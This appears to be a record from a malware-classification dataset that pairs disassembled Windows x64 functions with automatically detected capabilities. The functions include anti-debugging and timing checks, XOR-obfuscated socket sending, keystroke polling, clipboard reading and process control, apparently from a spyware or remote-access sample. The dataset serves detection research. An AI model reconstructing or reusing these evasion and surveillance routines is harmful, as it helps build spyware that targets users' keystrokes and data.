joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001be0
Capabilities:
Check for debugger via api
Check for time delay via gettickcount

Disassembly:
push rdi
sub rsp, 0x510
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x500], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
xor edi, edi
test eax, eax
jne 0x140001ccc
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp dword [rsp + 0x20], edi
jne 0x140001ccc
mov qword [rsp + 0x520], rbx
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
mov edx, 0xf4240
nop word [rax + rax]
mov ecx, dword [rsp + 0x20]
inc ecx
mov dword [rsp + 0x20], ecx
sub rdx, 1
jne 0x140001c50
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
mov rbx, qword [rsp + 0x520]
cmp eax, 0x64
ja 0x140001ccc
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x4d0
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x60], 0x100010
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
lea rdx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140001cce
cmp qword [rsp + 0x78], rdi
jne 0x140001ccc
cmp qword [rsp + 0x80], rdi
jne 0x140001ccc
cmp qword [rsp + 0x88], rdi
jne 0x140001ccc
cmp qword [rsp + 0x90], rdi
je 0x140001cce
mov dword [rdi], edi
mov rcx, qword [rsp + 0x500]
xor rcx, rsp
call fcn.140006290
add rsp, 0x510
pop rdi
ret

Function at 0x140001cf0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
mov rdi, rcx
mov dword [rsp + 0x20], 0
call fcn.140004d20
mov dword [rsp + 0x20], 1
mov rcx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x140001d2e
mov rcx, qword [rdi]
mov rdx, rcx
jmp 0x140001d31
mov rdx, rdi
mov rbx, rcx
mov rsi, qword [rdi + 0x10]
add rsi, rdx
cmp rcx, rsi
je 0x140001d50
call fcn.140003c40
xor byte [rbx], 0xaa
inc rbx
cmp rbx, rsi
jne 0x140001d40
mov rax, rdi
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x140006ce0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140006d2a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140006d2a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140006d2a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140006d2a
cmp dword [rcx + 0x84], 0xe
jbe 0x140006d2a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140006d2c
xor al, al
add rsp, 0x28
ret
Function at 0x1400010a0
Capabilities:
Create process on windows

Disassembly:
push rdi
sub rsp, 0x260
lea rdi, [rsp + 0x50]
mov ecx, 0x84
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14003b500]
xor rax, rsp
mov qword [rsp + 0x250], rax
call section..text
test eax, eax
je 0x1400010db
call fcn.140001300
nop
lea rax, [rsp + 0x60]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rsp + 0x60], 0x68
mov dword [rsp + 0x9c], 1
mov eax, 5
mov word [rsp + 0xa0], ax
lea rax, [rsp + 0xe8]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rsp + 0x120]
mov rdi, rax
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
lea rcx, [0x14003b018]
call fcn.14000a810
mov qword [rsp + 0x230], rax
lea rcx, section..data
call fcn.14000a810
xor r9d, r9d
mov rcx, qword [rsp + 0x230]
mov r8, rcx
mov rdx, rax
lea rcx, [rsp + 0x120]
call fcn.140008b90
lea rax, [rsp + 0x120]
mov qword [rsp + 0x238], rax
mov qword [rsp + 0x240], 0xffffffffffffffff
inc qword [rsp + 0x240]
mov rax, qword [rsp + 0x238]
mov rcx, qword [rsp + 0x240]
cmp byte [rax + rcx], 0
jne 0x14000118e
mov rax, qword [rsp + 0x240]
mov dword [rsp + 0x224], eax
mov eax, dword [rsp + 0x224]
mov byte [rsp + rax + 0x120], 0x20
mov eax, dword [rsp + 0x224]
inc eax
mov dword [rsp + 0x224], eax
mov eax, dword [rsp + 0x224]
lea rax, [rsp + rax + 0x120]
mov r8d, reloc.WS2_32.dll_send
lea rdx, str._NetworkServerPort
mov rcx, rax
call fcn.140029620
mov eax, dword [rsp + 0x224]
add eax, 0x13
mov dword [rsp + 0x224], eax
cmp dword [0x14003d624], 0
je 0x140001229
mov rax, qword [0x14003d4b0]
mov qword [rsp + 0x248], rax
jmp 0x140001236
mov eax, 0xffffffff
mov qword [rsp + 0x248], rax
mov eax, dword [rsp + 0x224]
lea rax, [rsp + rax + 0x120]
mov edx, dword [rsp + 0x248]
mov rcx, rax
call fcn.14000a3b0
lea rcx, section..data
call fcn.14000a810
lea rcx, [rsp + 0xe8]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x120]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1400012b1
jmp 0x1400012ce
mov rcx, qword [rsp + 0xf0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0xe8]
mov qword [0x14003d4e0], rax
mov rcx, rsp
lea rdx, reloc.WS2_32.dll_closesocket
call fcn.140016540
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140016640
add rsp, 0x260
pop rdi
ret

Function at 0x140001300
Capabilities:
Terminate process

Disassembly:
push rdi
sub rsp, 0x20
cmp qword [0x14003d4e0], 0
je 0x14000133a
mov edx, 1
mov rcx, qword [0x14003d4e0]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [0x14003d4e0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [0x14003d4e0], 0
add rsp, 0x20
pop rdi
ret
Function at 0x140001340
Capabilities:
Hash data with crc32

Disassembly:
push rdi
sub rsp, 0x10
mov dword [rsp], 0
jmp 0x140001357
mov eax, dword [rsp]
inc eax
mov dword [rsp], eax
cmp dword [rsp], 0x100
jae 0x1400013b6
mov eax, dword [rsp]
mov dword [rsp + 4], eax
mov dword [rsp + 8], 0
jmp 0x14000137b
mov eax, dword [rsp + 8]
inc eax
mov dword [rsp + 8], eax
cmp dword [rsp + 8], 8
jae 0x1400013a3
mov eax, dword [rsp + 4]
shr eax, 1
mov ecx, dword [rsp + 4]
and ecx, 1
xor edx, edx
sub edx, ecx
mov ecx, edx
and ecx, 0xedb88320
xor eax, ecx
mov dword [rsp + 4], eax
jmp 0x140001371
mov eax, dword [rsp]
lea rcx, [0x14003d9c0]
mov edx, dword [rsp + 4]
mov dword [rcx + rax*4], edx
jmp 0x14000134f
mov dword [rsp], 0x100
jmp 0x1400013c7
mov eax, dword [rsp]
inc eax
mov dword [rsp], eax
cmp dword [rsp], 0x800
jae 0x140001412
mov eax, dword [rsp]
lea rcx, [0x14003d9c0]
mov eax, dword [rcx + rax*4 - 0x400]
mov dword [rsp + 0xc], eax
mov eax, dword [rsp + 0xc]
and eax, 0xff
mov eax, eax
lea rcx, [0x14003d9c0]
mov edx, dword [rsp + 0xc]
shr edx, 8
mov eax, dword [rcx + rax*4]
xor eax, edx
mov ecx, dword [rsp]
lea rdx, [0x14003d9c0]
mov dword [rdx + rcx*4], eax
jmp 0x1400013bf
lea rax, [0x140001490]
mov qword [0x14003d9b8], rax
lea rax, [0x140001490]
mov qword [0x14003d9b0], rax
add rsp, 0x10
pop rdi
ret
Function at 0x140007660
Capabilities:
Hash data using sha256

Disassembly:
mov qword [rsp + 8], rcx
push rdi
mov rax, qword [rsp + 0x10]
mov qword [rax + 8], 0
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 0x10]
mov dword [rcx + rax + 0x20], 0x6a09e667
mov eax, 4
imul rax, rax, 1
mov rcx, qword [rsp + 0x10]
mov dword [rcx + rax + 0x20], 0xbb67ae85
mov eax, 4
imul rax, rax, 2
mov rcx, qword [rsp + 0x10]
mov dword [rcx + rax + 0x20], 0x3c6ef372
mov eax, 4
imul rax, rax, 3
mov rcx, qword [rsp + 0x10]
mov dword [rcx + rax + 0x20], 0xa54ff53a
mov eax, 4
imul rax, rax, 4
mov rcx, qword [rsp + 0x10]
mov dword [rcx + rax + 0x20], 0x510e527f
mov eax, 4
imul rax, rax, 5
mov rcx, qword [rsp + 0x10]
mov dword [rcx + rax + 0x20], 0x9b05688c
mov eax, 4
imul rax, rax, 6
mov rcx, qword [rsp + 0x10]
mov dword [rcx + rax + 0x20], 0x1f83d9ab
mov eax, 4
imul rax, rax, 7
mov rcx, qword [rsp + 0x10]
mov dword [rcx + rax + 0x20], 0x5be0cd19
pop rdi
ret
Function at 0x14000a110
Capabilities:
Read file on windows

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x60
lea rdi, [rsp + 0x30]
mov ecx, recv
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x70]
mov rax, qword [0x14003b500]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x34]
mov r8d, dword [rsp + 0x80]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14000a18a
mov eax, dword [rsp + 0x80]
cmp dword [rsp + 0x34], eax
jne 0x14000a18a
mov dword [rsp + 0x50], 1
jmp 0x14000a192
mov dword [rsp + 0x50], 0
mov eax, dword [rsp + 0x50]
mov edi, eax
mov rcx, rsp
lea rdx, reloc.d2d1.dll_Ordinal_1
call fcn.140016540
mov eax, edi
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140016640
add rsp, 0x60
pop rdi
ret

Function at 0x14000a1c0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x58]
mov r8d, dword [rsp + 0x50]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
nop
add rsp, 0x30
pop rdi
ret

Function at 0x14000a210
Capabilities:
Get file size

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x50
lea rdi, [rsp + 0x20]
mov ecx, recv
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x60]
mov rax, qword [0x14003b500]
xor rax, rsp
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x24]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov rdi, rax
mov rcx, rsp
lea rdx, reloc.d2d1.dll_Ordinal_1
call fcn.140016540
mov rax, rdi
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140016640
add rsp, 0x50
pop rdi
ret

Function at 0x14000a280
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x60
lea rdi, [rsp + 0x30]
mov ecx, recv
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x70]
mov rax, qword [0x14003b500]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x34]
mov r8d, dword [rsp + 0x80]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14000a2fa
mov eax, dword [rsp + 0x80]
cmp dword [rsp + 0x34], eax
jne 0x14000a2fa
mov dword [rsp + 0x50], 1
jmp 0x14000a302
mov dword [rsp + 0x50], 0
mov eax, dword [rsp + 0x50]
mov edi, eax
mov rcx, rsp
lea rdx, reloc.d2d1.dll_Ordinal_1
call fcn.140016540
mov eax, edi
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140016640
add rsp, 0x60
pop rdi
ret

Function at 0x14000ab20
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, qword [rsp + 0x40]
lea r8, [0x14000ab70]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
add rsp, 0x30
pop rdi
ret
Function at 0x14000bae0
Capabilities:
Create thread

Disassembly:
push rdi
sub rsp, 0x30
mov dword [0x14003d614], 1
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, [0x14003d614]
lea r8, [0x14000c440]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
add rsp, 0x30
pop rdi
ret

Function at 0x14000bb30
Capabilities:
Create thread

Disassembly:
push rdi
sub rsp, 0x30
cmp dword [0x14003d4b8], 5
jne 0x14000bb41
jmp 0x14000bb7a
mov dword [0x14003d4b8], 6
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14000c530]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
add rsp, 0x30
pop rdi
ret
Function at 0x14000bb80
Capabilities:
Get common file path
Initialize winsock library

Disassembly:
push rdi
sub rsp, 0x330
lea rdi, [rsp + 0x20]
mov ecx, 0xc4
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14003b500]
xor rax, rsp
mov qword [rsp + 0x320], rax
lea rdx, [0x14003d3a0]
mov ecx, 0x100
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
mov qword [0x14003d4a0], 0
mov qword [0x14003d4a8], 0
mov qword [0x14003d4b0], 0
mov dword [0x14003d4b8], 7
mov qword [0x14003d4c0], 0
mov qword [0x14003d4c8], 0
mov dword [0x14003d4d0], 0
mov dword [0x14003d4d4], 0
mov dword [0x14003d4d8], 0
lea rcx, [0x14003b050]
call fcn.14000a810
xor r9d, r9d
mov r8, rax
lea rdx, [0x14003d3a0]
lea rcx, [rsp + 0x30]
call fcn.140008b90
lea rcx, [rsp + 0x30]
call fcn.14000a030
mov qword [rsp + 0x148], rax
cmp qword [rsp + 0x148], 0
je 0x14000bcd8
mov rcx, qword [rsp + 0x148]
call fcn.14000a210
mov eax, eax
mov qword [rsp + 0x150], rax
xor edx, edx
mov rcx, qword [rsp + 0x150]
call fcn.14000a330
mov qword [rsp + 0x158], rax
mov r8d, dword [rsp + 0x150]
mov rdx, qword [rsp + 0x158]
mov rcx, qword [rsp + 0x148]
call fcn.14000a110
mov rdx, qword [rsp + 0x150]
mov rcx, qword [rsp + 0x158]
call fcn.14000c000
mov rcx, qword [rsp + 0x158]
call fcn.14000a380
mov rcx, qword [rsp + 0x148]
call fcn.14000a010
nop
mov qword [0x14003d4e0], 0
mov dword [0x14003d4e8], 0
lea rax, [0x14003d4ec]
mov rdi, rax
xor eax, eax
mov ecx, recv
rep stosb byte [rdi], al
lea rax, [0x14003d4fb]
mov rdi, rax
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
xor edx, edx
mov ecx, 0x1000
call fcn.14000a330
mov qword [0x14003d600], rax
mov rdi, qword [0x14003d600]
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
mov dword [0x14003d608], 0
mov dword [0x14003d614], 0
mov dword [0x14003d618], 1
mov dword [0x14003d61c], 1
mov dword [0x14003d620], 1
mov dword [0x14003d624], 0
mov dword [0x14003d628], 0
mov dword [0x14003d62c], 0
mov dword [0x14003d630], 0
mov dword [0x14003d634], 0
mov qword [0x14003d638], 0
lea rax, [0x14003d640]
mov rdi, rax
xor eax, eax
mov ecx, reloc.WS2_32.dll_recv
rep stosb byte [rdi], al
lea rax, [0x14000b930]
mov qword [0x14003d768], rax
mov dword [0x14003d770], 0
mov dword [0x14003d774], 0
mov dword [0x14003d778], 0
xorps xmm0, xmm0
movss dword [0x14003d77c], xmm0
lea rax, [0x14003d780]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
mov dword [0x14003d884], 0
lea rcx, [0x14003d4a0]
call fcn.14000c3a0
lea rdx, [rsp + 0x170]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x14000be32
xor eax, eax
jmp 0x14000be37
mov eax, 1
mov rdi, rax
mov rcx, rsp
lea rdx, [0x14002cb20]
call fcn.140016540
mov rax, rdi
mov rcx, qword [rsp + 0x320]
xor rcx, rsp
call fcn.140016640
add rsp, 0x330
pop rdi
ret
Function at 0x14000bf40
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x40
mov rax, qword [rsp + 0x50]
mov eax, dword [rax]
xor eax, 0xf6fc61e8
mov rcx, qword [rsp + 0x50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
lea rax, [rax + rcx - 4]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x50]
add rax, 4
mov qword [rsp + 0x28], rax
jmp 0x14000bf94
mov rax, qword [rsp + 0x28]
add rax, 4
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x20]
cmp qword [rsp + 0x28], rax
ja 0x14000bfb5
mov rax, qword [rsp + 0x28]
mov eax, dword [rax]
xor eax, 0x3db6cc5c
mov rcx, qword [rsp + 0x28]
mov dword [rcx], eax
jmp 0x14000bf86
xor r9d, r9d
mov r8d, dword [rsp + 0x58]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [0x14003d4b0]
call qword [sym.imp.WS2_32.dll_send]
cdqe
cmp rax, qword [rsp + 0x58]
jne 0x14000bfe2
mov dword [rsp + 0x30], 1
jmp 0x14000bfea
mov dword [rsp + 0x30], 0
mov eax, dword [rsp + 0x30]
add rsp, 0x40
pop rdi
ret

Function at 0x14000c3a0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
mov rax, qword [rsp + 0x40]
mov qword [rax], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, qword [rsp + 0x40]
lea r8, [0x14000cfa0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
add rsp, 0x30
pop rdi
ret

Function at 0x14000c3f0
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x20
cmp qword [0x14003d4a8], 0
je 0x14000c412
mov rcx, qword [0x14003d4a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
cmp qword [rsp + 0x30], 0
je 0x14000c433
xor edx, edx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
add rsp, 0x20
pop rdi
ret
Function at 0x1400107c0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x20
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
jne 0x1400107da
xor eax, eax
jmp 0x140010810
mov ecx, 1
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rcx, qword [rsp + 0x30]
mov qword [rcx], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
jne 0x140010802
call qword [sym.imp.USER32.dll_CloseClipboard]
xor eax, eax
jmp 0x140010810
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_GlobalLock]
add rsp, 0x20
pop rdi
ret

Function at 0x1400108f0
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
lea rcx, [0x14003d8a0]
call qword [sym.imp.USER32.dll_GetKeyboardState]
lea rcx, [0x14003d9a0]
call qword [sym.imp.USER32.dll_GetCursorPos]
lea rdx, [0x14003d9a0]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.USER32.dll_ScreenToClient]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
cmp qword [rsp + 0x40], rax
jne 0x14001093d
mov dword [rsp + 0x20], 1
jmp 0x140010945
mov dword [rsp + 0x20], 0
mov eax, dword [rsp + 0x20]
mov dword [0x14003d9a8], eax
add rsp, 0x30
pop rdi
ret
Function at 0x140016070
Capabilities:
Hide graphical window

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0xb0
lea rdi, [rsp + 0x60]
mov ecx, setsockopt
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xc0]
mov rax, qword [0x14003b500]
xor rax, rsp
mov qword [rsp + 0xa8], rax
mov dword [rsp + 0x60], 0xca0000
mov dword [rsp + 0x64], 0
lea rax, [rsp + 0x78]
mov rdi, rax
xor eax, eax
mov ecx, reloc.WS2_32.dll_recv
rep stosb byte [rdi], al
mov dword [rsp + 0x80], 0x320
mov dword [rsp + 0x84], 0x258
mov qword [rsp + 0x58], 0
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov eax, dword [rsp + 0x84]
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x80]
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x60]
mov r8, qword [rsp + 0xd0]
mov rdx, qword [rsp + 0xc8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov qword [rsp + 0x98], rax
mov r9d, dword [rsp + 0x64]
xor r8d, r8d
mov edx, dword [rsp + 0x60]
lea rcx, [rsp + 0x78]
call qword [sym.imp.USER32.dll_AdjustWindowRectEx]
mov eax, dword [rsp + 0x7c]
mov ecx, dword [rsp + 0x84]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x78]
mov edx, dword [rsp + 0x80]
sub edx, ecx
mov ecx, edx
mov dword [rsp + 0x30], 6
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], ecx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.USER32.dll_SetWindowPos]
mov edx, 1
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rax, qword [rsp + 0x98]
mov rdi, rax
mov rcx, rsp
lea rdx, reloc.d2d1.dll_Ordinal_1
call fcn.140016540
mov rax, rdi
mov rcx, qword [rsp + 0xa8]
xor rcx, rsp
call fcn.140016640
add rsp, 0xb0
pop rdi
ret

Function at 0x14001740c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140017456
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140017456
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140017456
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140017456
cmp dword [rcx + 0x84], 0xe
jbe 0x140017456
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140017458
xor al, al
add rsp, 0x28
ret
Function at 0x14001d2c4
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14001d333
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001d333
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001d333
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001d333
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001d333
cmp dword [rcx + 0x84], 0xe
jbe 0x14001d333
cmp dword [rcx + 0xf8], 0
je 0x14001d333
mov ecx, ebx
call fcn.14001d3e4
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14001d1c0
nop
cmp dword [rbp + 0x20], 0
je 0x14001d381
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14001d38c
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x14001d2c4

Function at 0x14001d4c8
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14001d2c4
Function at 0x1400220f8
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140022128
xor eax, eax
jmp 0x1400221eb
mov rbp, rbx
cmp word [rax], si
je 0x14002214d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140022134
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140022130
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140022018
movsxd r14, eax
test eax, eax
jne 0x14002218b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140022121
mov rcx, r14
call fcn.14001e358
mov rdi, rax
test rax, rax
jne 0x1400221a4
xor ecx, ecx
call fcn.14001e31c
jmp 0x140022180
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140022018
test eax, eax
jne 0x1400221d5
mov rcx, rdi
call fcn.14001e31c
jmp 0x1400221df
xor ecx, ecx
call fcn.14001e31c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140029310
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140029338
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140029338
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret